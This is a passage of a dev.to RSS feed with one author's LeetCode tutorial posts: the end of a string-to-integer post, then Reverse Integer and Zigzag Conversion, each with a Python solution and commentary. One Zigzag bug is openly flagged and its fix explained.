        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;isdigit&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;digit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;


            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INT_MAX_OF_OVERFELLOW&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;INT_MAX_OF_OVERFELLOW&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;INT_MIN_OF_OVERFELLOW&lt;/span&gt;

            &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;
            &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;


        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;sign&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;sorry my comments not okay :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Why I Like This Approach&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    ️ Easy to read&lt;/li&gt;
&lt;li&gt;    ️ Matches the problem rules exactly&lt;/li&gt;
&lt;li&gt;    ️ Handles all edge cases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Final Thoughts&lt;/p&gt;

&lt;p&gt;This problem taught me something important:&lt;/p&gt;

&lt;blockquote&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sometimes the “hard” part isn’t the algorithm — it’s discipline.
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;

&lt;p&gt;Reading carefully.&lt;br&gt;
Handling edge cases.&lt;br&gt;
Not rushing.&lt;/p&gt;

&lt;p&gt;And yes… after passing all test cases in first time, I had that quick “okay, nice” moment — and then I jumped straight to the next problem 🚀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zqmwvzdm5zjxn9bpus0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zqmwvzdm5zjxn9bpus0.jpg" alt="Mahdi Shamlou | مهدی شاملو" width="800" height="1062"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  My Repo (All Solutions)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/mahdi0shamlou/LeetCode" rel="noopener noreferrer"&gt;&lt;br&gt;
GitHub — mahdi0shamlou/LeetCode&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What about you?&lt;/p&gt;

&lt;p&gt;How did you approach this problem?&lt;br&gt;
Did you miss any edge case the first time?&lt;/p&gt;

&lt;p&gt;Drop your thoughts — I read everything! 🚀&lt;br&gt;
Connect with me&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn:&lt;br&gt;
&lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram:&lt;br&gt;
&lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Instagram:&lt;br&gt;
&lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>python</category>
      <category>leetcode</category>
      <category>programming</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Mahdi Shamlou | Solving LeetCode #7: Reverse Integer — My Math-Based Reversal with Overflow Safety</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sat, 31 Jan 2026 11:53:08 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-7-reverse-integer-my-math-based-reversal-with-overflow-safety-p95</link>
      <guid>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-7-reverse-integer-my-math-based-reversal-with-overflow-safety-p95</guid>
      <description>&lt;p&gt;Hey everyone! &lt;strong&gt;Mahdi Shamlou&lt;/strong&gt; here — continuing my LeetCode classic problems series 🚀&lt;/p&gt;

&lt;p&gt;After [&lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-5-longest-palindromic-substring-my-expand-around-center-3pgi"&gt;#6 Zigzag Conversion&lt;/a&gt; (&lt;a href="https://dev.to/mahdi0shamlou"&gt;See the list that I solved&lt;/a&gt;)], today we’re tackling Problem #7 — Reverse Integer — a very common easy/medium question that looks simple at first… until you remember the 32-bit integer overflow trap!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybvuiqvj4jrepkqx8bge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fybvuiqvj4jrepkqx8bge.png" alt="Mahdi Shamlou | مهدی شاملو" width="300" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement :
&lt;/h2&gt;

&lt;p&gt;Given a signed 32-bit integer x, return x with its digits reversed. If reversing x causes the value to go outside the signed 32-bit integer range [-2³¹,2³¹ — 1], then return 0.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Assume the environment does not allow 64-bit integers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Input: x = 123
Output: 321

Input: x = -123
Output: -321

Input: x = 120
Output: 21

Input: x = 0
Output: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  My solution:
&lt;/h2&gt;

&lt;p&gt;digit-by-digit reversal with overflow check . I decided to avoid string conversion and do it mathematically — pop digits with % 10, build the reversed number, and most importantly check for overflow before multiplying by 10 and adding the digit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Solution&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

        &lt;span class="n"&gt;reversed_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# create reverse_x to return 
&lt;/span&gt;
        &lt;span class="c1"&gt;# Try to Handle the sign separately
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;digit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
            &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;

            &lt;span class="c1"&gt;# checks for overflow before adding the new digit
&lt;/span&gt;            &lt;span class="c1"&gt;# 2**31 - 1 is equals = 2147483647
&lt;/span&gt;            &lt;span class="c1"&gt;# -2**31    is equals = -2147483648
&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;reversed_x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2147483647&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# but you can use dynamic number calculation like 2**31-1
&lt;/span&gt;                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;reversed_x&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2147483648&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

            &lt;span class="n"&gt;reversed_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reversed_x&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;digit&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sign&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;reversed_x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;It passes all cases — and feels clean because we catch overflow before it actually happens.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://github.com/mahdi0shamlou/LeetCode" rel="noopener noreferrer"&gt;My repo (all solutions are here): GitHub — mahdi0shamlou/LeetCode: Solve LeetCode Problems&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Time &amp;amp; Space&lt;br&gt;
    Time: O(log |x|) — we process each digit once&lt;br&gt;
    Space: O(1) — just a few variables&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What about you? Did you also do it mathematically like me? How did you handle the overflow part — did you use constants or 2**31?&lt;/p&gt;

&lt;p&gt;Share in the comments — I read everything! 🚀&lt;/p&gt;

&lt;p&gt;And honestly… after seeing those overflow cases return 0 correctly and the normal ones reverse perfectly, I just smiled and thought “yes — safe and elegant!” 😂 Here’s me right after submitting:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnzj4i5bll0nwkzhl5dq4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnzj4i5bll0nwkzhl5dq4.jpg" alt="Mahdi Shamlou | مهدی شاملو" width="800" height="1062"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Connect with me:&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn: &lt;a href="https://www.linkedin.com/in/mahdi-shamlou" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram: &lt;a href="https://t.me/mahdi_shamlou" rel="noopener noreferrer"&gt;https://t.me/mahdi_shamlou&lt;br&gt;
&lt;/a&gt;&lt;br&gt;
📸 Instagram: &lt;a href="https://www.instagram.com/mahdi.shamlou" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi.shamlou&lt;br&gt;
&lt;/a&gt;&lt;br&gt;
Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>programming</category>
      <category>python</category>
      <category>leetcode</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>Mahdi Shamlou | Solving LeetCode #6: Zigzag Conversion — My Row-by-Row Simulation Fun Way</title>
      <dc:creator>Mahdi SHamlou | مهدی شاملو</dc:creator>
      <pubDate>Sat, 31 Jan 2026 11:43:25 +0000</pubDate>
      <link>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-6-zigzag-conversion-my-row-by-row-simulation-fun-way-1knm</link>
      <guid>https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-6-zigzag-conversion-my-row-by-row-simulation-fun-way-1knm</guid>
      <description>&lt;p&gt;Hey everyone! &lt;strong&gt;Mahdi Shamlou&lt;/strong&gt; here — rolling on with my LeetCode classic problems series 🚀&lt;/p&gt;

&lt;p&gt;After [&lt;a href="https://dev.to/mahdi0shamlou/mahdi-shamlou-solving-leetcode-5-longest-palindromic-substring-my-expand-around-center-3pgi"&gt;#5 Longest Palindromic Substring&lt;/a&gt; (&lt;a href="https://dev.to/mahdi0shamlou"&gt;See the list that i solved&lt;/a&gt;)], today we’re tackling Problem #6 — Zigzag Conversion (also called ZigZag Conversion) — a cool medium-level problem that feels like drawing a zigzag pattern with letters!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7crj1yo7z9i9swvc8lf8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7crj1yo7z9i9swvc8lf8.png" alt="Mahdi Shamlou | مهدی شاملو" width="300" height="168"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;The string s is written in a zigzag pattern on a given number of rows like this (imagine fixed font):&lt;/p&gt;

&lt;p&gt;For s = “PAYPALISHIRING”, numRows = 3:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P   A   H   N
A P L S I I G Y
I   R
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read line by line: “PAHNAPLSIIGYIR”&lt;/p&gt;

&lt;p&gt;Write a function to convert the string this way given numRows.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Input: s = "PAYPALISHIRING", numRows = 3
Output: "PAHNAPLSIIGYIR"

Input: s = "PAYPALISHIRING", numRows = 4
Output: "PINALSIGYAHRPI"
Explanation:
P     I    N
A   L S  I G Y
A   H R
P     I

Input: s = "AB", numRows = 2
Output: "AB"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  My solution :
&lt;/h2&gt;

&lt;p&gt;The simulation way with direction flip (this felt natural!) I imagined walking down the rows, then up, then down again — like a real zigzag. So I used a list of strings (one per row), a counter for current row, and a direction flag that flips at top/bottom.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Solution&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;numRows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="n"&gt;numRows_counter_way&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# wait, this was a bug — should init outside!
&lt;/span&gt;            &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;numRows_counter&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;numRows_counter&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;numRows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;numRows_counter_way&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;numRows_counter_way&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;numRows_counter_way&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;numRows_counter&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

        &lt;span class="n"&gt;final_res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;final_res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;final_res&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;final_res&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: In my first run I had result = [] and appended empty string each time — that’s not correct! (It would create too many empty slots.) The proper way is to initialize result = [“”] * numRows outside the loop. But hey, this direction-flip idea still clicked for me after fixing that 😅&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;My repo (all solutions are here):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/mahdi0shamlou/LeetCode" rel="noopener noreferrer"&gt;GitHub — mahdi0shamlou/LeetCode: Solve LeetCode Problems&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What about you? Did you simulate the zigzag with rows like me, or did you go for the math formula way (cycle length = 2*numRows-2)? Any funny bugs you hit on this one?&lt;/p&gt;

&lt;p&gt;Share in the comments — I read everything! 🚀&lt;/p&gt;

&lt;p&gt;And honestly… after seeing “PINALSIGYAHRPI” come out correctly I just sat there grinning like an idiot — that zigzag finally made sense in code! 😂 Here’s me right after it worked:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn6vi44zf9xthtr7s968g.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn6vi44zf9xthtr7s968g.jpg" alt="Mahdi Shamlou | مهدی شاملو" width="779" height="779"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Connect with me:&lt;/p&gt;

&lt;p&gt;🔗 LinkedIn: &lt;a href="https://www.linkedin.com/in/mahdi-shamlou-3b52b8278" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/mahdi-shamlou-3b52b8278&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📱 Telegram: &lt;a href="https://telegram.me/mahdi0shamlou" rel="noopener noreferrer"&gt;https://telegram.me/mahdi0shamlou&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 Instagram: &lt;a href="https://www.instagram.com/mahdi0shamlou/" rel="noopener noreferrer"&gt;https://www.instagram.com/mahdi0shamlou/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author: Mahdi Shamlou | مهدی شاملو&lt;/p&gt;

</description>
      <category>programming</category>
      <category>leetcode</category>
      <category>algorithms</category>
      <category>python</category>
    </item>
  </channel>
</rss>
